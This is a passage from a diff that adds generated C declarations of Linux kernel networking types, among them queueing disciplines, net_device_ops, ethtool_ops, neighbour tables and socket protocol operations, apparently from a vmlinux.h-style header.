+ struct gnet_stats_queue qstats; + long unsigned int state; + long unsigned int state2; + struct Qdisc *next_sched; + struct sk_buff_head skb_bad_txq; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + spinlock_t busylock; + spinlock_t seqlock; + struct callback_head rcu; + netdevice_tracker dev_tracker; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long int privdata[0]; +}; + +struct rps_map { + unsigned int len; + struct callback_head rcu; + u16 cpus[0]; +}; + +struct rps_dev_flow { + u16 cpu; + u16 filter; + unsigned int last_qtail; +}; + +struct rps_dev_flow_table { + unsigned int mask; + struct callback_head rcu; + struct rps_dev_flow flows[0]; +}; + +struct rps_sock_flow_table { + u32 mask; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + u32 ents[0]; +}; + +struct netdev_rx_queue { + struct xdp_rxq_info xdp_rxq; + struct rps_map *rps_map; + struct rps_dev_flow_table *rps_flow_table; + struct kobject kobj; + struct net_device *dev; + netdevice_tracker dev_tracker; + struct xsk_buff_pool *pool; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct xps_map { + unsigned int len; + unsigned int alloc_len; + struct callback_head rcu; + u16 queues[0]; +}; + +struct xps_dev_maps { + struct callback_head rcu; + unsigned int nr_ids; + s16 num_tc; + struct xps_map *attr_map[0]; +}; + +struct netdev_phys_item_id { + unsigned char id[32]; + unsigned char id_len; +}; + +enum net_device_path_type { + DEV_PATH_ETHERNET = 0, + DEV_PATH_VLAN = 1, + DEV_PATH_BRIDGE = 2, + DEV_PATH_PPPOE = 3, + DEV_PATH_DSA = 4, + DEV_PATH_MTK_WDMA = 5, +}; + +struct net_device_path { + enum net_device_path_type type; + const struct net_device *dev; + union { + struct { + u16 id; + __be16 proto; + u8 h_dest[6]; + } encap; + struct { + enum { + DEV_PATH_BR_VLAN_KEEP = 0, + DEV_PATH_BR_VLAN_TAG = 1, + DEV_PATH_BR_VLAN_UNTAG = 2, + DEV_PATH_BR_VLAN_UNTAG_HW = 3, + } vlan_mode; + u16 vlan_id; + __be16 vlan_proto; + } bridge; + struct { + int port; + u16 proto; + } dsa; + struct { + u8 wdma_idx; + u8 queue; + u16 wcid; + u8 bss; + } mtk_wdma; + }; +}; + +struct net_device_path_ctx { + const struct net_device *dev; + u8 daddr[6]; + int num_vlans; + struct { + u16 id; + __be16 proto; + } vlan[2]; +}; + +enum tc_setup_type { + TC_QUERY_CAPS = 0, + TC_SETUP_QDISC_MQPRIO = 1, + TC_SETUP_CLSU32 = 2, + TC_SETUP_CLSFLOWER = 3, + TC_SETUP_CLSMATCHALL = 4, + TC_SETUP_CLSBPF = 5, + TC_SETUP_BLOCK = 6, + TC_SETUP_QDISC_CBS = 7, + TC_SETUP_QDISC_RED = 8, + TC_SETUP_QDISC_PRIO = 9, + TC_SETUP_QDISC_MQ = 10, + TC_SETUP_QDISC_ETF = 11, + TC_SETUP_ROOT_QDISC = 12, + TC_SETUP_QDISC_GRED = 13, + TC_SETUP_QDISC_TAPRIO = 14, + TC_SETUP_FT = 15, + TC_SETUP_QDISC_ETS = 16, + TC_SETUP_QDISC_TBF = 17, + TC_SETUP_QDISC_FIFO = 18, + TC_SETUP_QDISC_HTB = 19, + TC_SETUP_ACT = 20, +}; + +enum bpf_netdev_command { + XDP_SETUP_PROG = 0, + XDP_SETUP_PROG_HW = 1, + BPF_OFFLOAD_MAP_ALLOC = 2, + BPF_OFFLOAD_MAP_FREE = 3, + XDP_SETUP_XSK_POOL = 4, +}; + +struct netdev_bpf { + enum bpf_netdev_command command; + union { + struct { + u32 flags; + struct bpf_prog *prog; + struct netlink_ext_ack *extack; + }; + struct { + struct bpf_offloaded_map *offmap; + }; + struct { + struct xsk_buff_pool *pool; + u16 queue_id; + } xsk; + }; +}; + +struct dev_ifalias { + struct callback_head rcuhead; + char ifalias[0]; +}; + +struct ip_tunnel_parm; + +struct net_device_ops { + int (*ndo_init)(struct net_device *); + void (*ndo_uninit)(struct net_device *); + int (*ndo_open)(struct net_device *); + int (*ndo_stop)(struct net_device *); + netdev_tx_t (*ndo_start_xmit)(struct sk_buff *, struct net_device *); + netdev_features_t (*ndo_features_check)(struct sk_buff *, struct net_device *, netdev_features_t); + u16 (*ndo_select_queue)(struct net_device *, struct sk_buff *, struct net_device *); + void (*ndo_change_rx_flags)(struct net_device *, int); + void (*ndo_set_rx_mode)(struct net_device *); + int (*ndo_set_mac_address)(struct net_device *, void *); + int (*ndo_validate_addr)(struct net_device *); + int (*ndo_do_ioctl)(struct net_device *, struct ifreq *, int); + int (*ndo_eth_ioctl)(struct net_device *, struct ifreq *, int); + int (*ndo_siocbond)(struct net_device *, struct ifreq *, int); + int (*ndo_siocwandev)(struct net_device *, struct if_settings *); + int (*ndo_siocdevprivate)(struct net_device *, struct ifreq *, void *, int); + int (*ndo_set_config)(struct net_device *, struct ifmap *); + int (*ndo_change_mtu)(struct net_device *, int); + int (*ndo_neigh_setup)(struct net_device *, struct neigh_parms *); + void (*ndo_tx_timeout)(struct net_device *, unsigned int); + void (*ndo_get_stats64)(struct net_device *, struct rtnl_link_stats64 *); + bool (*ndo_has_offload_stats)(const struct net_device *, int); + int (*ndo_get_offload_stats)(int, const struct net_device *, void *); + struct net_device_stats * (*ndo_get_stats)(struct net_device *); + int (*ndo_vlan_rx_add_vid)(struct net_device *, __be16, u16); + int (*ndo_vlan_rx_kill_vid)(struct net_device *, __be16, u16); + int (*ndo_set_vf_mac)(struct net_device *, int, u8 *); + int (*ndo_set_vf_vlan)(struct net_device *, int, u16, u8, __be16); + int (*ndo_set_vf_rate)(struct net_device *, int, int, int); + int (*ndo_set_vf_spoofchk)(struct net_device *, int, bool); + int (*ndo_set_vf_trust)(struct net_device *, int, bool); + int (*ndo_get_vf_config)(struct net_device *, int, struct ifla_vf_info *); + int (*ndo_set_vf_link_state)(struct net_device *, int, int); + int (*ndo_get_vf_stats)(struct net_device *, int, struct ifla_vf_stats *); + int (*ndo_set_vf_port)(struct net_device *, int, struct nlattr **); + int (*ndo_get_vf_port)(struct net_device *, int, struct sk_buff *); + int (*ndo_get_vf_guid)(struct net_device *, int, struct ifla_vf_guid *, struct ifla_vf_guid *); + int (*ndo_set_vf_guid)(struct net_device *, int, u64, int); + int (*ndo_set_vf_rss_query_en)(struct net_device *, int, bool); + int (*ndo_setup_tc)(struct net_device *, enum tc_setup_type, void *); + int (*ndo_rx_flow_steer)(struct net_device *, const struct sk_buff *, u16, u32); + int (*ndo_add_slave)(struct net_device *, struct net_device *, struct netlink_ext_ack *); + int (*ndo_del_slave)(struct net_device *, struct net_device *); + struct net_device * (*ndo_get_xmit_slave)(struct net_device *, struct sk_buff *, bool); + struct net_device * (*ndo_sk_get_lower_dev)(struct net_device *, struct sock *); + netdev_features_t (*ndo_fix_features)(struct net_device *, netdev_features_t); + int (*ndo_set_features)(struct net_device *, netdev_features_t); + int (*ndo_neigh_construct)(struct net_device *, struct neighbour *); + void (*ndo_neigh_destroy)(struct net_device *, struct neighbour *); + int (*ndo_fdb_add)(struct ndmsg *, struct nlattr **, struct net_device *, const unsigned char *, u16, u16, struct netlink_ext_ack *); + int (*ndo_fdb_del)(struct ndmsg *, struct nlattr **, struct net_device *, const unsigned char *, u16, struct netlink_ext_ack *); + int (*ndo_fdb_del_bulk)(struct ndmsg *, struct nlattr **, struct net_device *, u16, struct netlink_ext_ack *); + int (*ndo_fdb_dump)(struct sk_buff *, struct netlink_callback *, struct net_device *, struct net_device *, int *); + int (*ndo_fdb_get)(struct sk_buff *, struct nlattr **, struct net_device *, const unsigned char *, u16, u32, u32, struct netlink_ext_ack *); + int (*ndo_mdb_add)(struct net_device *, struct nlattr **, u16, struct netlink_ext_ack *); + int (*ndo_mdb_del)(struct net_device *, struct nlattr **, struct netlink_ext_ack *); + int (*ndo_mdb_dump)(struct net_device *, struct sk_buff *, struct netlink_callback *); + int (*ndo_bridge_setlink)(struct net_device *, struct nlmsghdr *, u16, struct netlink_ext_ack *); + int (*ndo_bridge_getlink)(struct sk_buff *, u32, u32, struct net_device *, u32, int); + int (*ndo_bridge_dellink)(struct net_device *, struct nlmsghdr *, u16); + int (*ndo_change_carrier)(struct net_device *, bool); + int (*ndo_get_phys_port_id)(struct net_device *, struct netdev_phys_item_id *); + int (*ndo_get_port_parent_id)(struct net_device *, struct netdev_phys_item_id *); + int (*ndo_get_phys_port_name)(struct net_device *, char *, size_t); + void * (*ndo_dfwd_add_station)(struct net_device *, struct net_device *); + void (*ndo_dfwd_del_station)(struct net_device *, void *); + int (*ndo_set_tx_maxrate)(struct net_device *, int, u32); + int (*ndo_get_iflink)(const struct net_device *); + int (*ndo_fill_metadata_dst)(struct net_device *, struct sk_buff *); + void (*ndo_set_rx_headroom)(struct net_device *, int); + int (*ndo_bpf)(struct net_device *, struct netdev_bpf *); + int (*ndo_xdp_xmit)(struct net_device *, int, struct xdp_frame **, u32); + struct net_device * (*ndo_xdp_get_xmit_slave)(struct net_device *, struct xdp_buff *); + int (*ndo_xsk_wakeup)(struct net_device *, u32, u32); + int (*ndo_tunnel_ctl)(struct net_device *, struct ip_tunnel_parm *, int); + struct net_device * (*ndo_get_peer_dev)(struct net_device *); + int (*ndo_fill_forward_path)(struct net_device_path_ctx *, struct net_device_path *); + ktime_t (*ndo_get_tstamp)(struct net_device *, const struct skb_shared_hwtstamps *, bool); +}; + +struct neigh_parms { + possible_net_t net; + struct net_device *dev; + netdevice_tracker dev_tracker; + struct list_head list; + int (*neigh_setup)(struct neighbour *); + struct neigh_table *tbl; + void *sysctl_table; + int dead; + refcount_t refcnt; + struct callback_head callback_head; + int reachable_time; + u32 qlen; + int data[14]; + long unsigned int data_state[1]; +}; + +struct xdp_metadata_ops { + int (*xmo_rx_timestamp)(const struct xdp_md *, u64 *); + int (*xmo_rx_hash)(const struct xdp_md *, u32 *, enum xdp_rss_hash_type *); +}; + +struct pcpu_lstats { + u64_stats_t packets; + u64_stats_t bytes; + struct u64_stats_sync syncp; +}; + +struct pcpu_sw_netstats { + u64_stats_t rx_packets; + u64_stats_t rx_bytes; + u64_stats_t tx_packets; + u64_stats_t tx_bytes; + struct u64_stats_sync syncp; +}; + +enum ethtool_phys_id_state { + ETHTOOL_ID_INACTIVE = 0, + ETHTOOL_ID_ACTIVE = 1, + ETHTOOL_ID_ON = 2, + ETHTOOL_ID_OFF = 3, +}; + +struct ethtool_drvinfo; + +struct ethtool_regs; + +struct ethtool_wolinfo; + +struct ethtool_link_ext_state_info; + +struct ethtool_link_ext_stats; + +struct ethtool_eeprom; + +struct ethtool_coalesce; + +struct kernel_ethtool_coalesce; + +struct ethtool_ringparam; + +struct kernel_ethtool_ringparam; + +struct ethtool_pause_stats; + +struct ethtool_pauseparam; + +struct ethtool_test; + +struct ethtool_stats; + +struct ethtool_rxnfc; + +struct ethtool_flash; + +struct ethtool_channels; + +struct ethtool_dump; + +struct ethtool_ts_info; + +struct ethtool_modinfo; + +struct ethtool_eee; + +struct ethtool_tunable; + +struct ethtool_link_ksettings; + +struct ethtool_fec_stats; + +struct ethtool_fecparam; + +struct ethtool_module_eeprom; + +struct ethtool_eth_phy_stats; + +struct ethtool_eth_mac_stats; + +struct ethtool_eth_ctrl_stats; + +struct ethtool_rmon_stats; + +struct ethtool_rmon_hist_range; + +struct ethtool_module_power_mode_params; + +struct ethtool_mm_state; + +struct ethtool_mm_cfg; + +struct ethtool_mm_stats; + +struct ethtool_ops { + u32 cap_link_lanes_supported: 1; + u32 supported_coalesce_params; + u32 supported_ring_params; + void (*get_drvinfo)(struct net_device *, struct ethtool_drvinfo *); + int (*get_regs_len)(struct net_device *); + void (*get_regs)(struct net_device *, struct ethtool_regs *, void *); + void (*get_wol)(struct net_device *, struct ethtool_wolinfo *); + int (*set_wol)(struct net_device *, struct ethtool_wolinfo *); + u32 (*get_msglevel)(struct net_device *); + void (*set_msglevel)(struct net_device *, u32); + int (*nway_reset)(struct net_device *); + u32 (*get_link)(struct net_device *); + int (*get_link_ext_state)(struct net_device *, struct ethtool_link_ext_state_info *); + void (*get_link_ext_stats)(struct net_device *, struct ethtool_link_ext_stats *); + int (*get_eeprom_len)(struct net_device *); + int (*get_eeprom)(struct net_device *, struct ethtool_eeprom *, u8 *); + int (*set_eeprom)(struct net_device *, struct ethtool_eeprom *, u8 *); + int (*get_coalesce)(struct net_device *, struct ethtool_coalesce *, struct kernel_ethtool_coalesce *, struct netlink_ext_ack *); + int (*set_coalesce)(struct net_device *, struct ethtool_coalesce *, struct kernel_ethtool_coalesce *, struct netlink_ext_ack *); + void (*get_ringparam)(struct net_device *, struct ethtool_ringparam *, struct kernel_ethtool_ringparam *, struct netlink_ext_ack *); + int (*set_ringparam)(struct net_device *, struct ethtool_ringparam *, struct kernel_ethtool_ringparam *, struct netlink_ext_ack *); + void (*get_pause_stats)(struct net_device *, struct ethtool_pause_stats *); + void (*get_pauseparam)(struct net_device *, struct ethtool_pauseparam *); + int (*set_pauseparam)(struct net_device *, struct ethtool_pauseparam *); + void (*self_test)(struct net_device *, struct ethtool_test *, u64 *); + void (*get_strings)(struct net_device *, u32, u8 *); + int (*set_phys_id)(struct net_device *, enum ethtool_phys_id_state); + void (*get_ethtool_stats)(struct net_device *, struct ethtool_stats *, u64 *); + int (*begin)(struct net_device *); + void (*complete)(struct net_device *); + u32 (*get_priv_flags)(struct net_device *); + int (*set_priv_flags)(struct net_device *, u32); + int (*get_sset_count)(struct net_device *, int); + int (*get_rxnfc)(struct net_device *, struct ethtool_rxnfc *, u32 *); + int (*set_rxnfc)(struct net_device *, struct ethtool_rxnfc *); + int (*flash_device)(struct net_device *, struct ethtool_flash *); + int (*reset)(struct net_device *, u32 *); + u32 (*get_rxfh_key_size)(struct net_device *); + u32 (*get_rxfh_indir_size)(struct net_device *); + int (*get_rxfh)(struct net_device *, u32 *, u8 *, u8 *); + int (*set_rxfh)(struct net_device *, const u32 *, const u8 *, const u8); + int (*get_rxfh_context)(struct net_device *, u32 *, u8 *, u8 *, u32); + int (*set_rxfh_context)(struct net_device *, const u32 *, const u8 *, const u8, u32 *, bool); + void (*get_channels)(struct net_device *, struct ethtool_channels *); + int (*set_channels)(struct net_device *, struct ethtool_channels *); + int (*get_dump_flag)(struct net_device *, struct ethtool_dump *); + int (*get_dump_data)(struct net_device *, struct ethtool_dump *, void *); + int (*set_dump)(struct net_device *, struct ethtool_dump *); + int (*get_ts_info)(struct net_device *, struct ethtool_ts_info *); + int (*get_module_info)(struct net_device *, struct ethtool_modinfo *); + int (*get_module_eeprom)(struct net_device *, struct ethtool_eeprom *, u8 *); + int (*get_eee)(struct net_device *, struct ethtool_eee *); + int (*set_eee)(struct net_device *, struct ethtool_eee *); + int (*get_tunable)(struct net_device *, const struct ethtool_tunable *, void *); + int (*set_tunable)(struct net_device *, const struct ethtool_tunable *, const void *); + int (*get_per_queue_coalesce)(struct net_device *, u32, struct ethtool_coalesce *); + int (*set_per_queue_coalesce)(struct net_device *, u32, struct ethtool_coalesce *); + int (*get_link_ksettings)(struct net_device *, struct ethtool_link_ksettings *); + int (*set_link_ksettings)(struct net_device *, const struct ethtool_link_ksettings *); + void (*get_fec_stats)(struct net_device *, struct ethtool_fec_stats *); + int (*get_fecparam)(struct net_device *, struct ethtool_fecparam *); + int (*set_fecparam)(struct net_device *, struct ethtool_fecparam *); + void (*get_ethtool_phy_stats)(struct net_device *, struct ethtool_stats *, u64 *); + int (*get_phy_tunable)(struct net_device *, const struct ethtool_tunable *, void *); + int (*set_phy_tunable)(struct net_device *, const struct ethtool_tunable *, const void *); + int (*get_module_eeprom_by_page)(struct net_device *, const struct ethtool_module_eeprom *, struct netlink_ext_ack *); + void (*get_eth_phy_stats)(struct net_device *, struct ethtool_eth_phy_stats *); + void (*get_eth_mac_stats)(struct net_device *, struct ethtool_eth_mac_stats *); + void (*get_eth_ctrl_stats)(struct net_device *, struct ethtool_eth_ctrl_stats *); + void (*get_rmon_stats)(struct net_device *, struct ethtool_rmon_stats *, const struct ethtool_rmon_hist_range **); + int (*get_module_power_mode)(struct net_device *, struct ethtool_module_power_mode_params *, struct netlink_ext_ack *); + int (*set_module_power_mode)(struct net_device *, const struct ethtool_module_power_mode_params *, struct netlink_ext_ack *); + int (*get_mm)(struct net_device *, struct ethtool_mm_state *); + int (*set_mm)(struct net_device *, struct ethtool_mm_cfg *, struct netlink_ext_ack *); + void (*get_mm_stats)(struct net_device *, struct ethtool_mm_stats *); +}; + +struct l3mdev_ops { + u32 (*l3mdev_fib_table)(const struct net_device *); + struct sk_buff * (*l3mdev_l3_rcv)(struct net_device *, struct sk_buff *, u16); + struct sk_buff * (*l3mdev_l3_out)(struct net_device *, struct sock *, struct sk_buff *, u16); + struct dst_entry * (*l3mdev_link_scope_lookup)(const struct net_device *, struct flowi6 *); +}; + +struct nd_opt_hdr; + +struct ndisc_options; + +struct prefix_info; + +struct ndisc_ops { + int (*is_useropt)(u8); + int (*parse_options)(const struct net_device *, struct nd_opt_hdr *, struct ndisc_options *); + void (*update)(const struct net_device *, struct neighbour *, u32, u8, const struct ndisc_options *); + int (*opt_addr_space)(const struct net_device *, u8, struct neighbour *, u8 *, u8 **); + void (*fill_addr_option)(const struct net_device *, struct sk_buff *, u8, const u8 *); + void (*prefix_rcv_add_addr)(struct net *, struct net_device *, const struct prefix_info *, struct inet6_dev *, struct in6_addr *, int, u32, bool, bool, __u32, u32, bool); +}; + +struct tcf_proto; + +struct tcf_block; + +struct mini_Qdisc { + struct tcf_proto *filter_list; + struct tcf_block *block; + struct gnet_stats_basic_sync *cpu_bstats; + struct gnet_stats_queue *cpu_qstats; + long unsigned int rcu_state; +}; + +struct rtnl_link_ops { + struct list_head list; + const char *kind; + size_t priv_size; + struct net_device * (*alloc)(struct nlattr **, const char *, unsigned char, unsigned int, unsigned int); + void (*setup)(struct net_device *); + bool netns_refund; + unsigned int maxtype; + const struct nla_policy *policy; + int (*validate)(struct nlattr **, struct nlattr **, struct netlink_ext_ack *); + int (*newlink)(struct net *, struct net_device *, struct nlattr **, struct nlattr **, struct netlink_ext_ack *); + int (*changelink)(struct net_device *, struct nlattr **, struct nlattr **, struct netlink_ext_ack *); + void (*dellink)(struct net_device *, struct list_head *); + size_t (*get_size)(const struct net_device *); + int (*fill_info)(struct sk_buff *, const struct net_device *); + size_t (*get_xstats_size)(const struct net_device *); + int (*fill_xstats)(struct sk_buff *, const struct net_device *); + unsigned int (*get_num_tx_queues)(); + unsigned int (*get_num_rx_queues)(); + unsigned int slave_maxtype; + const struct nla_policy *slave_policy; + int (*slave_changelink)(struct net_device *, struct net_device *, struct nlattr **, struct nlattr **, struct netlink_ext_ack *); + size_t (*get_slave_size)(const struct net_device *, const struct net_device *); + int (*fill_slave_info)(struct sk_buff *, const struct net_device *, const struct net_device *); + struct net * (*get_link_net)(const struct net_device *); + size_t (*get_linkxstats_size)(const struct net_device *, int); + int (*fill_linkxstats)(struct sk_buff *, const struct net_device *, int *, int); +}; + +struct udp_tunnel_nic_table_info { + unsigned int n_entries; + unsigned int tunnel_types; +}; + +struct udp_tunnel_info; + +struct udp_tunnel_nic_shared; + +struct udp_tunnel_nic_info { + int (*set_port)(struct net_device *, unsigned int, unsigned int, struct udp_tunnel_info *); + int (*unset_port)(struct net_device *, unsigned int, unsigned int, struct udp_tunnel_info *); + int (*sync_table)(struct net_device *, unsigned int); + struct udp_tunnel_nic_shared *shared; + unsigned int flags; + struct udp_tunnel_nic_table_info tables[4]; +}; + +struct sd_flow_limit; + +struct softnet_data { + struct list_head poll_list; + struct sk_buff_head process_queue; + unsigned int processed; + unsigned int time_squeeze; + struct softnet_data *rps_ipi_list; + bool in_net_rx_action; + bool in_napi_threaded_poll; + struct sd_flow_limit *flow_limit; + struct Qdisc *output_queue; + struct Qdisc **output_queue_tailp; + struct sk_buff *completion_queue; + struct { + u16 recursion; + u8 more; + u8 skip_txqueue; + } xmit; + long: 64; + long: 64; + long: 64; + unsigned int input_queue_head; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + call_single_data_t csd; + struct softnet_data *rps_ipi_next; + unsigned int cpu; + unsigned int input_queue_tail; + unsigned int received_rps; + unsigned int dropped; + struct sk_buff_head input_pkt_queue; + struct napi_struct backlog; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + spinlock_t defer_lock; + int defer_count; + int defer_ipi_scheduled; + struct sk_buff *defer_list; + long: 64; + long: 64; + call_single_data_t defer_csd; +}; + +struct tcmsg { + unsigned char tcm_family; + unsigned char tcm__pad1; + short unsigned int tcm__pad2; + int tcm_ifindex; + __u32 tcm_handle; + __u32 tcm_parent; + __u32 tcm_info; +}; + +struct netlink_range_validation { + u64 min; + u64 max; +}; + +struct netlink_range_validation_signed { + s64 min; + s64 max; +}; + +struct pneigh_entry; + +struct neigh_statistics; + +struct neigh_hash_table; + +struct neigh_table { + int family; + unsigned int entry_size; + unsigned int key_len; + __be16 protocol; + __u32 (*hash)(const void *, const struct net_device *, __u32 *); + bool (*key_eq)(const struct neighbour *, const void *); + int (*constructor)(struct neighbour *); + int (*pconstructor)(struct pneigh_entry *); + void (*pdestructor)(struct pneigh_entry *); + void (*proxy_redo)(struct sk_buff *); + int (*is_multicast)(const void *); + bool (*allow_add)(const struct net_device *, struct netlink_ext_ack *); + char *id; + struct neigh_parms parms; + struct list_head parms_list; + int gc_interval; + int gc_thresh1; + int gc_thresh2; + int gc_thresh3; + long unsigned int last_flush; + struct delayed_work gc_work; + struct delayed_work managed_work; + struct timer_list proxy_timer; + struct sk_buff_head proxy_queue; + atomic_t entries; + atomic_t gc_entries; + struct list_head gc_list; + struct list_head managed_list; + rwlock_t lock; + long unsigned int last_rand; + struct neigh_statistics *stats; + struct neigh_hash_table *nht; + struct pneigh_entry **phash_buckets; +}; + +struct neigh_statistics { + long unsigned int allocs; + long unsigned int destroys; + long unsigned int hash_grows; + long unsigned int res_failed; + long unsigned int lookups; + long unsigned int hits; + long unsigned int rcv_probes_mcast; + long unsigned int rcv_probes_ucast; + long unsigned int periodic_gc_runs; + long unsigned int forced_gc_runs; + long unsigned int unres_discards; + long unsigned int table_fulls; +}; + +struct neigh_ops { + int family; + void (*solicit)(struct neighbour *, struct sk_buff *); + void (*error_report)(struct neighbour *, struct sk_buff *); + int (*output)(struct neighbour *, struct sk_buff *); + int (*connected_output)(struct neighbour *, struct sk_buff *); +}; + +struct pneigh_entry { + struct pneigh_entry *next; + possible_net_t net; + struct net_device *dev; + netdevice_tracker dev_tracker; + u32 flags; + u8 protocol; + u8 key[0]; +}; + +struct neigh_hash_table { + struct neighbour **hash_buckets; + unsigned int hash_shift; + __u32 hash_rnd[4]; + struct callback_head rcu; +}; + +struct dst_metrics { + u32 metrics[17]; + refcount_t refcnt; +}; + +struct fib_rule_hdr { + __u8 family; + __u8 dst_len; + __u8 src_len; + __u8 tos; + __u8 table; + __u8 res1; + __u8 res2; + __u8 action; + __u32 flags; +}; + +struct fib_rule_port_range { + __u16 start; + __u16 end; +}; + +struct fib_kuid_range { + kuid_t start; + kuid_t end; +}; + +struct fib_rule { + struct list_head list; + int iifindex; + int oifindex; + u32 mark; + u32 mark_mask; + u32 flags; + u32 table; + u8 action; + u8 l3mdev; + u8 proto; + u8 ip_proto; + u32 target; + __be64 tun_id; + struct fib_rule *ctarget; + struct net *fr_net; + refcount_t refcnt; + u32 pref; + int suppress_ifgroup; + int suppress_prefixlen; + char iifname[16]; + char oifname[16]; + struct fib_kuid_range uid_range; + struct fib_rule_port_range sport_range; + struct fib_rule_port_range dport_range; + struct callback_head rcu; +}; + +struct fib_lookup_arg { + void *lookup_ptr; + const void *lookup_data; + void *result; + struct fib_rule *rule; + u32 table; + int flags; +}; + +struct smc_hashinfo; + +struct sk_psock; + +struct request_sock_ops; + +struct timewait_sock_ops; + +struct raw_hashinfo; + +struct proto { + void (*close)(struct sock *, long int); + int (*pre_connect)(struct sock *, struct sockaddr *, int); + int (*connect)(struct sock *, struct sockaddr *, int); + int (*disconnect)(struct sock *, int); + struct sock * (*accept)(struct sock *, int, int *, bool); + int (*ioctl)(struct sock *, int, long unsigned int); + int (*init)(struct sock *); + void (*destroy)(struct sock *); + void (*shutdown)(struct sock *, int); + int (*setsockopt)(struct sock *, int, int, sockptr_t, unsigned int); + int (*getsockopt)(struct sock *, int, int, char *, int *); + void (*keepalive)(struct sock *, int); + int (*sendmsg)(struct sock *, struct msghdr *, size_t); + int (*recvmsg)(struct sock *, struct msghdr *, size_t, int, int *); + int (*sendpage)(struct sock *, struct page *, int, size_t, int); + int (*bind)(struct sock *, struct sockaddr *, int); + int (*bind_add)(struct sock *, struct sockaddr *, int); + int (*backlog_rcv)(struct sock *, struct sk_buff *); + bool (*bpf_bypass_getsockopt)(int, int); + void (*release_cb)(struct sock *); + int (*hash)(struct sock *); + void (*unhash)(struct sock *); + void (*rehash)(struct sock *); + int (*get_port)(struct sock *, short unsigned int); + void (*put_port)(struct sock *); + int (*psock_update_sk_prot)(struct sock *, struct sk_psock *, bool); + unsigned int inuse_idx; + int (*forward_alloc_get)(const struct sock *); + bool (*stream_memory_free)(const struct sock *, int); + bool (*sock_is_readable)(struct sock *); + void (*enter_memory_pressure)(struct sock *); + void (*leave_memory_pressure)(struct sock *); + atomic_long_t *memory_allocated; + int *per_cpu_fw_alloc; + struct percpu_counter *sockets_allocated; + long unsigned int *memory_pressure; + long int *sysctl_mem; + int *sysctl_wmem; + int *sysctl_rmem; + u32 sysctl_wmem_offset; + u32 sysctl_rmem_offset; + int max_header; + bool no_autobind; + struct kmem_cache *slab; + unsigned int obj_size; + slab_flags_t slab_flags; + unsigned int useroffset; + unsigned int usersize; + unsigned int *orphan_count; + struct request_sock_ops *rsk_prot; + struct timewait_sock_ops *twsk_prot; + union { + struct inet_hashinfo *hashinfo; + struct udp_table *udp_table; + struct raw_hashinfo *raw_hash; + struct smc_hashinfo *smc_hash; + } h; + struct module *owner; + char name[32]; + struct list_head node; + int (*diag_destroy)(struct sock *, int); +}; + +struct sk_filter { + refcount_t refcnt; + struct callback_head rcu; + struct bpf_prog *prog; +}; + +struct bpf_storage_buffer { + struct callback_head rcu; + char data[0]; +}; + +struct gnet_dump { + spinlock_t *lock; + struct sk_buff *skb; + struct nlattr *tail; + int compat_tc_stats; + int compat_xstats; + int padattr; + void *xstats; + int xstats_len; + struct tc_stats tc_stats; +}; + +enum flow_action_hw_stats_bit { + FLOW_ACTION_HW_STATS_IMMEDIATE_BIT = 0, + FLOW_ACTION_HW_STATS_DELAYED_BIT = 1, + FLOW_ACTION_HW_STATS_DISABLED_BIT = 2, + FLOW_ACTION_HW_STATS_NUM_BITS = 3, +}; + +struct flow_block { + struct list_head cb_list; +}; + +typedef int flow_setup_cb_t(enum tc_setup_type, void *, void *); + +struct qdisc_size_table { + struct callback_head rcu; + struct list_head list; + struct tc_sizespec szopts; + int refcnt; + u16 data[0]; +}; + +struct Qdisc_class_ops; + +struct Qdisc_ops { + struct Qdisc_ops *next; + const struct Qdisc_class_ops *cl_ops; + char id[16]; + int priv_size; + unsigned int static_flags; + int (*enqueue)(struct sk_buff *, struct Qdisc *, struct sk_buff **); + struct sk_buff * (*dequeue)(struct Qdisc *); + struct sk_buff * (*peek)(struct Qdisc *); + int (*init)(struct Qdisc *, struct nlattr *, struct netlink_ext_ack *); + void (*reset)(struct Qdisc *); + void (*destroy)(struct Qdisc *); + int (*change)(struct Qdisc *, struct nlattr *, struct netlink_ext_ack *); + void (*attach)(struct Qdisc *); + int (*change_tx_queue_len)(struct Qdisc *, unsigned int); + void (*change_real_num_tx)(struct Qdisc *, unsigned int); + int (*dump)(struct Qdisc *, struct sk_buff *); + int (*dump_stats)(struct Qdisc *, struct gnet_dump *); + void (*ingress_block_set)(struct Qdisc *, u32); + void (*egress_block_set)(struct Qdisc *, u32); + u32 (*ingress_block_get)(struct Qdisc *); + u32 (*egress_block_get)(struct Qdisc *); + struct module *owner; +}; + +struct qdisc_walker; + +struct Qdisc_class_ops { + unsigned int flags; + struct netdev_queue * (*select_queue)(struct Qdisc *, struct tcmsg *); + int (*graft)(struct Qdisc *, long unsigned int, struct Qdisc *, struct Qdisc **, struct netlink_ext_ack *); + struct Qdisc * (*leaf)(struct Qdisc *, long unsigned int); + void (*qlen_notify)(struct Qdisc *, long unsigned int); + long unsigned int (*find)(struct Qdisc *, u32); + int (*change)(struct Qdisc *, u32, u32, struct nlattr **, long unsigned int *, struct netlink_ext_ack *); + int (*delete)(struct Qdisc *, long unsigned int, struct netlink_ext_ack *); + void (*walk)(struct Qdisc *, struct qdisc_walker *); + struct tcf_block * (*tcf_block)(struct Qdisc *, long unsigned int, struct netlink_ext_ack *); + long unsigned int (*bind_tcf)(struct Qdisc *, long unsigned int, u32); + void (*unbind_tcf)(struct Qdisc *, long unsigned int); + int (*dump)(struct Qdisc *, long unsigned int, struct sk_buff *, struct tcmsg *); + int (*dump_stats)(struct Qdisc *, long unsigned int, struct gnet_dump *); +}; + +struct tcf_chain; + +struct tcf_block { + struct mutex lock; + struct list_head chain_list; + u32 index; + u32 classid; + refcount_t refcnt; + struct net *net; + struct Qdisc *q; + struct rw_semaphore cb_lock; + struct flow_block flow_block; + struct list_head owner_list; + bool keep_dst; + atomic_t offloadcnt; + unsigned int nooffloaddevcnt; + unsigned int lockeddevcnt; + struct { + struct tcf_chain *chain; + struct list_head filter_chain_list; + } chain0; + struct callback_head rcu; + struct hlist_head proto_destroy_ht[128]; + struct mutex proto_destroy_lock; +}; + +struct tcf_result; + +struct tcf_proto_ops; + +struct tcf_proto { + struct tcf_proto *next; + void *root; + int (*classify)(struct sk_buff *, const struct tcf_proto *, struct tcf_result *); + __be16 